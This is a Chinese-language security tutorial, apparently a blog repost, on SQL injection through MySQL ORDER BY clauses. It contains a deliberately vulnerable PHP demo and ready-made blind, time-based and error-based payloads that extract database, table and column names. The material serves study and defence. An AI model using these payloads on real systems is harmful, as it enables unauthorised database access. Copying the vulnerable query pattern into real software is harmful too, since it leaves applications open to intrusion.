• sql注入之order by注入


    0x00 前言

    夜里看了一篇文章,突然有了启发,赶紧记录一下。

    了解order by

    参考:

    https://yang1k.github.io/post/sql注入之order-by注入/

    order by是mysql中对查询数据进行排序的方法, 使用示例

    select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
    select * from 表名 order by 列名(或者数字) desc;降序
    

    这里的重点在于order by后既可以填列名或者是一个数字。举个例子: id是user表的第一列的列名,那么如果想根据id来排序,有两种写法

    
    select * from user order by id;
    selecr * from user order by 1;
    

    结合union来盲注

    $sql = 'select * from admin where username='".$username."'';
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if(isset($row)&&row['username']!="admin"){
    	$hit="username error!";
    }else{
    	if ($row['password'] === $password){
    		$hit="";
    	}else{
    		$hit="password error!";
    	}
                 
    }
    

    payload

    username=admin' union 1,2,'字符串' order by 3

    这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。 注意的是最好加上binary,因为order by比较的时候不区分大小写。

    示例

    这里的order by 3是根据第三列进行排序,如果我们union查询的字符串比password小的话,我们构造的 1,2,a就会成为第一列,那么在源码对用户名做对比的时候,就会返回username error!,如果union查询的字符串比password大,那么正确的数据就会是第一列,那么页面就会返回password error!.

    这里就来说一下我们上面的payload:
    我们想要爆破密码,那么我们可以轮流带入查询来观察排序情况,那么之后一定能注入出密码。

    基于if()盲注

    需要知道列名

    order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

    示例:

    order by if(1=1,id,username);
    这里光看一个这个示例对我这个丑新来说太抽象了,来用具体语句解释:

    case when (true) then id else username end
    
    if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,id,username)
    

    条件判断之后需要选择字段名,如: id,username,这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。所以必须知道字段名。
    和上面的payload解释一样,我们可以通过一位一位的比较来得到我们想知道的字段。

    不需要知道列名

    payload

    order by if(表达式,1,(select id from information_schema.tables))
    

    如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

    基于时间的盲注

    order by if(1=1,1,sleep(1))
    结果:

    select * from ha order by if(1=1,1,sleep(1)); #正常时间
    select * from ha order by if(1=2,1,sleep(1)); #有延迟
    

    同样的,我们可以在上面的payload中替换我们想要的语句
    比如:

    order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,1,sleep(1))
    

    基于rand()的盲注

    order by rand(true); order by rand(false); 返回不同进行盲注。原理是 order by rand()会随机给每个数据生成一个随机数,然后按照随机数排序,true和false实际上转成了整形的1和0作为rand()的种子,这样给每一列都会成一个固定的数,然后根据这个数来排序,所以结果会不同。

    可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例

    order by rand(ascii(mid((select database()),1,1))>96)
    

    order by后的报错注入

    参考:

    https://www.secpulse.com/archives/57197.html
    这个有点特殊,因为他仅仅是一种特别的情况,不如上面的通用,所以我放在最后来说。

    源码:

    <?php
    error_reporting(0);
    session_start();
    mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
    mysql_select_db("sqlidemo") or die("Select database failed");
    
    $order = $_GET['order'] ? $_GET['order'] : 'name';
    $sql = "select id,name,price from goods order by $order";
    $result = mysql_query($sql);
    $reslist = array();
    while($row = mysql_fetch_array($result, MYSQL_ASSOC))
    {
     array_push($reslist, $row);
    }
    echo json_encode($reslist);
    create database sqlidemo;
    

    这里的话就是order by 后面的参数可控,我们对他进行恶意传参来达到sql注入情况。

    "select * from goods order by $_GET['order']"

    在早期注入大量存在的时候利用order by子句进行快速猜解列数,再配合union select语句进行回显。可以通过修改order参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的
    payload:

    /?order=IF(1=1,name,price) 通过name字段排序
    /?order=IF(1=2,name,price) 通过price字段排序
    

    解释见上文。

    rand函数也能达到类似的效果,可以观测到排序的结果不一样

    
    /?order=rand(1=1) 
    /?order=rand(1=2)
    

    利用报错

    返回多条记录

    
    /?order=IF(1=1,1,(select+1+union+select+2)) 正确
    /?order=IF(1=2,1,(select+1+union+select+2)) 错误
    
    
    /?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
    /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
    

    利用regexp

    /?order=(select+1+regexp+if(1=1,1,0x00)) 正常
    /?order=(select+1+regexp+if(1=2,1,0x00)) 错误
    

    利用updatexml

    /?order=updatexml(1,if(1=1,1,user()),1) 正确
    /?order=updatexml(1,if(1=2,1,user()),1) 错误
    

    利用extractvalue

    /?order=extractvalue(1,if(1=1,1,user())) 正确
    /?order=extractvalue(1,if(1=2,1,user())) 错误
    

    数据猜解

    /?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
    /?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
    
    可以得知user()第一位为r,ascii码的16进制为0x72
    
    猜解当前数据库的表名:
    
    /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
    /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
    
    猜解指定表名中的列名:
    
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
    

    参考

    https://www.secpulse.com/archives/57197.html

    https://yang1k.github.io/post/sql注入之order-by注入/

  • 相关阅读:
    多级导航Menu的CSS
    Centos7在线安装PostgreSQL和PostGIS
    PostGis 根据经纬度查询两点之间距离
    在PowerDesigner中表显示中添加Code的显示
    Tomcat部署Geoserver
    PostGIS之路AddGeometryColumn函数添加一个几何类型字段
    怎样把多个excel文件合并成一个
    Error:java: 无效的目标发行版: 11
    PowerDesigner导出Excel
    GeoServer发布高清电子地图
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12590172.html
Copyright © 2020-2023  润新知